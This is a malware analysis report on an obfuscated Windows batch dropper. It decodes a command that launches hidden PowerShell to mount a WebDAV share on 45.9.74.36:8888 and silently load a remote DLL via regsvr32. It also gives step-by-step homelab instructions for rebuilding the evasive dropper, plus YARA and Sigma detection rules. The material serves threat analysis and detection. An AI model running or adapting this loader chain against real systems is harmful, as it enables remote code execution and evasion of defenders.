unclassified-js-webdav-dropper: a1b6e36f — Thirty-sixth confirmed sibling, expanded word-salad padding (~185 lines), :drunk label, WebDAV C2 45.9.74.36:8888

Executive Summary

Pure Windows batch stager, thirty-sixth confirmed sibling of the unclassified-js-webdav-dropper family. Uses natural-language SET variable obfuscation (36 English-phrase variables) with an unusually large ~185-line leading word-salad noise block before the :drunk functional label — roughly 4.5× the padding volume of sibling 9bea44f4. Decodes to the same execution chain: color f0 && start wordpad decoy, then PowerShell-hidden net use WebDAV mount + regsvr32 /s remote DLL load against 45.9.74.36:8888. Static-only (batch script, no CAPE).

What It Is

• Filename: 28822248451366310681.bat ^[triage.json]
• Size: 16,771 bytes (16.4 KB) ^[file.txt]
• Type: ASCII text with CRLF line terminators, very long lines (2,149 chars) ^[file.txt]
• Family: unclassified-js-webdav-dropper — thirty-sixth confirmed sibling
• Family confidence: high — identical execution engine, same C2 IP, same variable-count (36), same natural-language SET naming convention, expanded leading padding

How It Works

The script begins with goto drunk ^[strings.txt:1], jumping over ~185 lines of natural-language noise padding (adjective-noun and descriptor phrases: "wooden command enthusiastic abundant wacky scary pizzas", "ancient bright switch tire earth damaged woozy receive", etc.) ^[strings.txt:2-185]. This padding has no functional purpose; it is anti-triage noise designed to push the actual payload far below the fold of casual string inspection. The padding volume here (~16 KB) is significantly larger than the ~40-line / ~3 KB padding observed in siblings 976dc607 and 9bea44f4.

At label :drunk ^[strings.txt:186], the script defines 36 SET variables with long English-phrase names, each mapping to a single character, all chained on one line via &&:

The payload is reassembled via batch %VAR% expansion on three lines ^[strings.txt:188-190]:

color f0&&start wordpad
start powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\25482830319962.dll
exit

Execution chain:

1. color f0 — sets console colors (decoy).
2. start wordpad — launches WordPad (legitimacy masquerade).
3. start powershell.exe -windowstyle hidden — spawns hidden PowerShell.
4. net use \\45.9.74.36@8888\davwwwroot\ — mounts attacker WebDAV share.
5. regsvr32 /s \\45.9.74.36@8888\davwwwroot\25482830319962.dll — silently registers the remote DLL (T1218.010).

Decompiled Behavior

Not applicable — batch script, not a PE. No Ghidra or radare2 analysis possible. The script is interpreted by cmd.exe at runtime.

C2 Infrastructure

Same C2 IP as siblings ffd5d894, e11665cf, dac5e0ee, b2a097ba, b32ea531, 976dc607, 9bea44f4, and the entire 45.9.74.36:8888 JScript dictionary cluster (fa7e181d, cb5d302f, d0124d62, d90baa30, a435a37b, aa8ff8b9, ade6cf68, b612dd70, be58d381, 92ce4217). The payload filename is throwaway — a different numeric string in every sibling.

Interesting Tidbits

• Expanded word-salad padding — ~185 lines (~16 KB) of natural-language noise before :drunk. This is the largest padding volume observed in the family to date; the prior record was ~40 lines in 976dc607 and 9bea44f4. ^[strings.txt:1-185]
• :drunk label — New label name; siblings have used :quarrelsome, :signal, :b, and others. The label naming appears random/semantic noise. ^[strings.txt:186]
• Natural-language variable names — Three-word English compounds (entertainingcakecross, volleyballguideossified, psychoticknowledgeablereport). Same grammatically-plausible style as ffd5d894, e11665cf, dac5e0ee, b2a097ba, b32ea531, 976dc607, and 9bea44f4. ^[strings.txt:187]
• No sandbox gate — No VM checks, no debugger checks, no connectivity checks, no process-list enumeration. Fire-and-forget execution. ^[dynamic-analysis.md]
• Static-only — CAPE skipped this sample because it is ASCII text, not a supported binary class. ^[dynamic-analysis.md]
• No persistence — One-shot execution; no registry, scheduled task, or startup folder modifications. ^[strings.txt:188-190]

How To Mess With It (Homelab Replication)

Goal: Reproduce the batch SET obfuscation + WebDAV dropper chain in your lab.

Toolchain: Notepad and cmd.exe. No compiler required.

Steps:

1. Write a benign test DLL (e.g., a simple COM DLL with DllRegisterServer that writes to %TEMP%\test.txt).
2. Host it on a WebDAV server:

   pip install wsgidav cheroot
   wsgidav --host=0.0.0.0 --port=8888 --root=/tmp/webdav --auth=anonymous
   

3. Build a batch script with 36 SET variables mapping English phrases to characters, then %VAR%-expand them into:

   color f0 && start wordpad
   start powershell.exe -windowstyle hidden net use \\YOUR.IP@8888\davwwwroot\ ; regsvr32 /s \\YOUR.IP@8888\davwwwroot\test.dll
   

4. Add 180+ lines of word-salad noise before the :label.
5. Execute on a Windows VM. Verify with ProcMon: cmd.exe -> wordpad.exe + powershell.exe -> net.exe -> regsvr32.exe loading DLL from UNC.

What you'll learn: How trivial it is to bypass static string extraction with batch variable expansion, and how few EDRs flag regsvr32.exe with a UNC path by default. The expanded padding also demonstrates how volume alone can degrade naive line-count triage heuristics.

Deployable Signatures

YARA Rule

rule Unclassified_JS_WebDAV_Dropper_Batch_NaturalLanguage_SET_ExpandedPadding
{
    meta:
        description = "Detects pure-batch WebDAV dropper with natural-language SET obfuscation and expanded word-salad padding"
        author = "PacketPursuit"
        date = "2026-07-02"
        sha256 = "a1b6e36f99e1f94e452e8edcf7af6ba0e86de30d8e7508399881519c85f7b5c4"
        family = "unclassified-js-webdav-dropper"

    strings:
        $set1 = "set " nocase ascii
        $netuse = "net use" nocase ascii
        $dav = "DavWWWRoot" nocase ascii
        $regsvr = "regsvr32" nocase ascii
        $pshidden = "-windowstyle hidden" nocase ascii
        $wordpad = "wordpad" nocase ascii
        $color = "color f0" nocase ascii

    condition:
        filesize < 25KB
        and #set1 >= 30
        and $netuse
        and $dav
        and $regsvr
        and $pshidden
        and $wordpad
        and $color
        and uint16(0) != 0x5A4D   // not a PE
        and uint16(0) != 0x4D5A   // not a PE
}

Sigma Rule

title: WebDAV Regsvr32 Execution from Batch Script
logsource:
    category: process_creation
    product: windows
detection:
    selection_regsvr32:
        CommandLine|contains:
            - 'regsvr32'
            - 'DavWWWRoot'
    selection_parent:
        ParentImage|endswith:
            - '\cmd.exe'
            - '\wscript.exe'
    selection_powershell:
        CommandLine|contains:
            - 'powershell'
            - '-windowstyle hidden'
            - 'net use'
    condition: selection_regsvr32 and selection_parent and selection_powershell
falsepositives:
    - Rare legitimate IT automation using WebDAV for software deployment
level: high

IOC List

Behavioral Fingerprint

This batch script defines 30+ SET variables with English-phrase names, each holding a single character. It reassembles the payload via %VAR% expansion into a three-line command: (1) set console colors and launch WordPad as a decoy, (2) spawn hidden PowerShell to mount a WebDAV share via net use and silently register a remote DLL via regsvr32 /s, (3) exit. The script contains an unusually large ~185 lines of natural-language noise padding before the functional label — larger than prior siblings in this family. No sandbox gates, no VM checks, no persistence — one-shot execution.

Detection Signatures (ATT&CK)

References

• Entity page: unclassified-js-webdav-dropper
• Technique page: batch-powershell-variable-expansion-obfuscation
• Technique page: webdav-regsvr32-dll-sideloading
• Concept page: natural-language-payload-encoding
• Sibling analysis: 976dc607 — first observed leading word-salad padding variant ^[/intel/analyses/976dc6079cdd2f55efaccf08f0b16317523e6143dddbe825a82aa23be9d74acc.html]
• Sibling analysis: 9bea44f4 — prior sibling with same execution engine and ~40-line padding ^[/intel/analyses/9bea44f4212f20276963dd4bdfaac9793a263827ae2909c0fa66d5fac9542160.html]

Provenance

Analysis based on:

• file.txt — file utility output
• strings.txt — full script text with line numbers
• triage.json — triage metadata
• dynamic-analysis.md — CAPE skip note (batch script, not a supported binary)
• exiftool.json — file metadata (MIME text/plain)
• Manual batch variable expansion decoding via Python script
• Family context from unclassified-js-webdav-dropper entity page and 35 prior sibling analyses